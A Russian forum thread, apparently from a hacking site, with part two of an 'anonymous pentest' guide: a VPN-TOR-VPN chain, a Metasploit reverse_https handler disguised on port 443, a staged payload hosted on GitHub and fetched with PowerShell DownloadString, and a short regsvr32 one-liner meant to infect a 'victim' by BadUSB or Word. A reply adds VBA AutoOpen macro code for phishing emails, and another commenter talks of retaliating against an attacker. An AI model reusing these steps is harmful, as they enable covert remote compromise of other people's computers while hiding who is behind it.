Статья Анонимный пентест [VPN -> TOR -> VPN] (Часть II) - Reverse Shell за локальной сетью

24.03.2017
80
187
#1
И снова здравствуйте! В прошлой статье мы разбирали создание цепочки VPN - TOR - VPN. Сегодня подготовим SRV2 к проведению тестов на проникновение и испытаем в боевых условиях.

В первой части я забыл упомянуть, SRV1 и SRV2 желательно создать в двух разный регионах, например: один во Франкфурте другой в Лондоне.

Первым делом сменим порты SSH и OpenVPN на нестандартные
Подключаемся к SRV1 по ssh

Снимок.PNG

Перед тем как менять порты, сначала их нужно разрешить. К примеру SSH сменим на 4910, а OpenVPN на 4911

003.PNG

И теперь меняем порты.
sudo vi /etc/ssh/sshd_config
004.PNG


sudo vi /etc/openvpn/server.conf
005.PNG


Перезагружаем сервисы и удаляем старые порты из разрешенных.

009.PNG


Меняем порты на SRV2
Желательно использовать разные порты на SRV1 и SRV2. На втором сервере, SSH будет 2375, OpenVPN - 2376.
Конектимся к SRV2.

002.PNG
И таким же образом меняем порты. SSH = 2375, OpenVPN = 2376.
sudo ufw allow 2375
sudo ufw allow 2376
sudo vi /etc/openvpn/server.conf
sudo vi /etc/ssh/sshd_config
Сначала перезагружаем именно SSH, не то потеряете доступ.
sudo systemctl restart ssh
sudo systemctl restart openvpn@server
После рестарта openvpn@server связь оборвется. Закрываем окно и переходим к след. пункту.


Возращаемся на SRV1
Правим клиентский файл подключения к VPN SRV2.
sudo vi /etc/openvpn/client.conf
007.PNG

OpenVPN Client restarting
sudo systemctl restart openvpn@client
Связь с SRV2 снова восстановлена!


Отключаем логирование VPN
В первой части я специально оставил логи, они необходимы для отладки в случае проблем. Но когда мы все правильно настроили, выключим их.

ssh vpnsrv1
sudo vi /etc/openvpn/server.conf
Комментируем следующую директиву
verb 3 меняем на verb 0

OpenVPN Client
sudo vi /etc/openvpn/client.conf
verb 0
sudo systemctl restart openvpn@client
sudo systemctl restart openvpn@server
Тоже самое на SRV2


Создание клиентского файла конфигурации для подключений к VPN SRV1

Для связи с SRV2 нам вполне хватает ssh. Но для большего комфорта и пропуска всего трафика через цепочку VPN - TOR -VPN, настроим наше подключение к VPN SRV1. Не зря же мы ее делали.

Конектимся к SRV1, в файле /home/openvpn-ca/client-configs/base.conf меняем порт на ренее нами измененный в /etc/openvpn/server.conf (VPN SRV1 - 4911/udp)

010.PNG
remote IP_address_of_SRV1 4911
Если вы хотите использовать один сертификат на нескольких устройств одновременно, в SRV1 /etc/openvpn/server.conf раскомментируйте директиву:

Готовим клиент конфиг файл к экспорту

011.PNG

Копируем к себе на локальную машину (Kali Linux) и запускаем VPN.

012.PNG

013.PNG

Ну все, теперь у нас весь трафик идет через нашу цепочку VPN - TOR - VPN!

Добавим информацию об SRV2 в ~/.ssh/config | HostName должен быть именно 10.8.1.1, ни в коем случае не пишите сюда публичный IP второго сервера.

sketch-1520850465283.png

Теперь просто введя ssh vpnsrv2 на локальной машине, попадаем на SRV2 через нашу анонимную цепочку.


Готовимся к атаке

Идем на SRV2, и ставим Metasploit Framework.
Bash:
sudo echo 'deb http://downloads.metasploit.com/data/releases/metasploit-framework/apt jessie main' | sudo tee /etc/apt/sources.list.d/metasploit-framework.list
sudo wget -qO - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -
sudo apt update && sudo apt dist-upgrade
sudo apt install metasploit-framework postgresql -y
Инициализция Metasploit PostgreSQL Database
Bash:
sudo systemctl start postgresql
msfdb init
sudo ln -s /home/admin/.msf4/ /root/
Если metasploit запускать от обычного юзера, он не сможет слушать порты. Поэтому мы добавили зеркало .msf4 в домашний каталог root-а. Команда для запуска sudo msfconsole.

015.PNG

Но как известно, программа запущенная в ssh закрывается как только мы выходим из консоли. Нам же требуется чтобы наш сервер был всегда готов 24 часа в сутки принять к себе гостей с их же пряником, как говорил DarkNode;)
Для осуществления сего, нам нужна утилита "screen"
Bash:
sudo apt install screen

Запускаем msfconsole в screen.
Bash:
screen -S msf sudo msfconsole
-S msf = задает имя сессии
sudo msfconsole = сама команда выполняемая в screen

#Чтобы отправить сессию в фон
Ctrl+A потом D

#Список фоновый сессий
screen -list

#Обратно берем сесию
screen -r msf

#msf = имя сессии


Поднимем листенер который будет принимать на себя reverse shell. Но перед этим надо указать фаерволу чтобы он пропускал порт котрый мы будем слушать.

Мы будем принимать шелл на 443 (https) порт, чтобы не бросаться в глаза нашей "жертве".
sudo ufw allow 443
sudo ufw allow 8443
screen -S msf sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 443
curl ident.me; echo
set LHOST IP_address_of_SRV2
set ExitOnSession false
set EnableStageEncoding true
exploit -j
016.PNG

Отправляем msfconsole в фон (Ctrl+A затем D) и возвращаемся в Kali Linux.


Модульная доставка полезной нагрузки - Web Delivery

payload_stages.png

Техника не новая, я узнал про нее от DarkNode этих статьях(одна, вторая). Она мне очень полюбилась и с тех пор пользуюсь только ею, но чуть по другому. Именно это и будем сегодня рассматривать. Самое интересное по приведенной выше схеме - это то что мы можем в любую минуту сменить полезную нагрузку на зараженной машине. Достаточно изменить Stage3 и все меняется. Так же мы можем на время оставить жертву в покое (очистите и оставьте Stage 1 пустым) даже при анализе сети WireShark-ом жертва ничего не найдет. А на второй день обратно верние Stage 1 и снова ловите reverse shell! Также изменив Destination IP в Stage 3 легко передать полученные сессии своему коллеге для совместной работы:). Думаю очень перспективный вариант.

Качаем unicorn от trustedse, для генерации полезной нагрузки
Код:
git clone https://github.com/trustedsec/unicorn.git
Генерируем

017.PNG

Переименовываем powershell_attack.txt в stage3 и заливаем на github (Естественно создаем новый акк через нашу цепочку)


Далее создаем stage2
Нам понадобятся скрипты DarkNode.
base64_convert ссылка
и XML скрипт для regsvr32

020.PNG

Почему то я смог вылжит его здесь, codeby ругается на ошибки. Поэтому залил на gitgub.
Запускаем ./base64_convert.py

Аргументы для конвертирования следующие:
IEX(New-Object Net.WebClient).DownloadString('
Для просмотра контента необходимо: Войти или зарегистрироваться
В последних скобках, raw адрес до вашего файла stage3 который вы залили на github

019.PNG

Полученную команду вставляем в XML скрипт приведенный выше и сохраняем под названием stage2

021.PNG

Это тоже загружаем на github.
В итоге получается ссылка на stage2 - "
Для просмотра контента необходимо: Войти или зарегистрироваться
" если сократить ее на bit.ly будет на много удобней.

Вот и stage 1 - команда для запуска на компьютере жертвы. (Сделать это вариантов куча: BadUSB, HTA, Word, втсроить в приложение и т.д, )

Код:
regsvr32 -s -n -u -i:https://raw.githubusercontent.com/XXXXXX/XXX/master/stage2 scrobj.dll

Для наглядности с укороченным url, она приобретает следующий вид. Всего 50 символов, способны заразить компьютер.))))
Код:
regsvr32 -s -n -u -i:http://bit.ly/XXXXX scrobj.dll
022.PNG

Идем на SRV2 и смотрим принял ли наш сервер reverse shell.

023.PNG

И видим что все сработало на ура! Так же мы можем управяеть ею с телефона. Скопируйте ssh ключ от SRV1 на свой тел. или установите OpenVPN и дерзайте. В видео еще покажу проброску полученней сессии на локалку. Всем спасибо за внимание, я пойду на бок завтра раано вставать)))).
 

Вложения

  • 199.8 КБ Просмотры: 12
Последнее редактирование модератором:

Night Hunter

Премиум
13.01.2018
183
138
#3
Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?
 
24.03.2017
80
187
#5
Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?
Чай, сухари)))))
1. Когда один из сервисов дает сбой, связь намертво глохнет. Посмотри сам, выруби одно из трех (VPN, TOR, VPN) и ты поймешь что утечка не возможна. Если что то и может случиться, то скорее по забывяивости/невниманию. Я использую i3wm, справо внизу настроил показ публичного IP (с 10 секундным интервалом), это помогает мне вспомнить включен у меня vpn или нет. Но по ошибке подключиться к SRV2 без vpn у вас неполучится, если вы следовли моей инструкции.
2. Насколько я знаю, любые регионы AWS, в меру безопасны.
3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.
ты мне нравишься.
Почему ufw а не iptables ?
Личное предпочтение или не владеешь?
iptables усвоил не давно. Но UFW мне кажется удобнее для мелких задач, типа открыть/закрыть порт.
 
Последнее редактирование:

Night Hunter

Премиум
13.01.2018
183
138
#8
3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.
Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
 

0v3r_Cr1t

Премиум
16.02.2018
156
222
#9
Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан
 
24.03.2017
80
187
#10
Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))
Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload
 

Night Hunter

Премиум
13.01.2018
183
138
#11
Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан
Так у меня защита там стоит, хрен попадут) я просто думаю, чтобы в отместку сделать, чтобы знали) На днях напишу статью, про защиту сайтов на ВП от скана и брута)
Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload
Хм, возможно ты прав. Я просто не в курсе, что к чему там)
 

Night Hunter

Премиум
13.01.2018
183
138
#13
Уже интересно. Про zip бомбу уже писали если что
Нет. Я хочу написать про плагины, которые проверенны лично мной и работают. Настройка и т.п.) Я же в пентесте баран, пока что) а так, поделюсь тем, что знаю. Сравню и выложу примеры скана до и после.
 
24.03.2017
80
187
#15
Всем привет. подскажите, а что бы импортировать xml, разве не нужны системные привилегии ?
Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.
 
Симпатии: Понравилось kot-gor

Bypass

Премиум
02.02.2018
233
256
#16
Последнее редактирование:

kot-gor

Gold Team
07.09.2016
494
583
#17
Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.
Да, вы правы.
 

Vertigo

Lex mea est Vulgate Linux
Red Team
15.02.2017
685
1 685
#18
Слов нет , топовая работа. Мне добавить нечего по приведённому сегменту атаки. Так держать.
Где репутация , Господа ?:cool:
 
Последнее редактирование:

kot-gor

Gold Team
07.09.2016
494
583
#20
Хочу добавить от себя,этот метод хорошо уживается с макросами..а именно когда нужно отправить "специально подготовленное письмо".
код макроса может выглядеть следующим образом:
#Private Sub Document_Open()
#Test
#End Sub

#Private Sub DocumentOpen()
#Test
#End Sub

#Private Sub Autopen()
#Test
#End Sub

#Private Sub AutoOpen()
#Test
#End Sub

#Private Sub Auto_Exec()
#Test
#End Sub

#Private Sub Test()
# Dim shell
#Dim out
#Set shell = VBA.CreateObject("WScript.Shell")
#out = shell.Run("regsvr32 /u /n /s /i:
Для просмотра контента необходимо: Войти или зарегистрироваться
scrobj.dll", 0, False)
#End Sub

Автору респект за статью!!!
 
Последнее редактирование: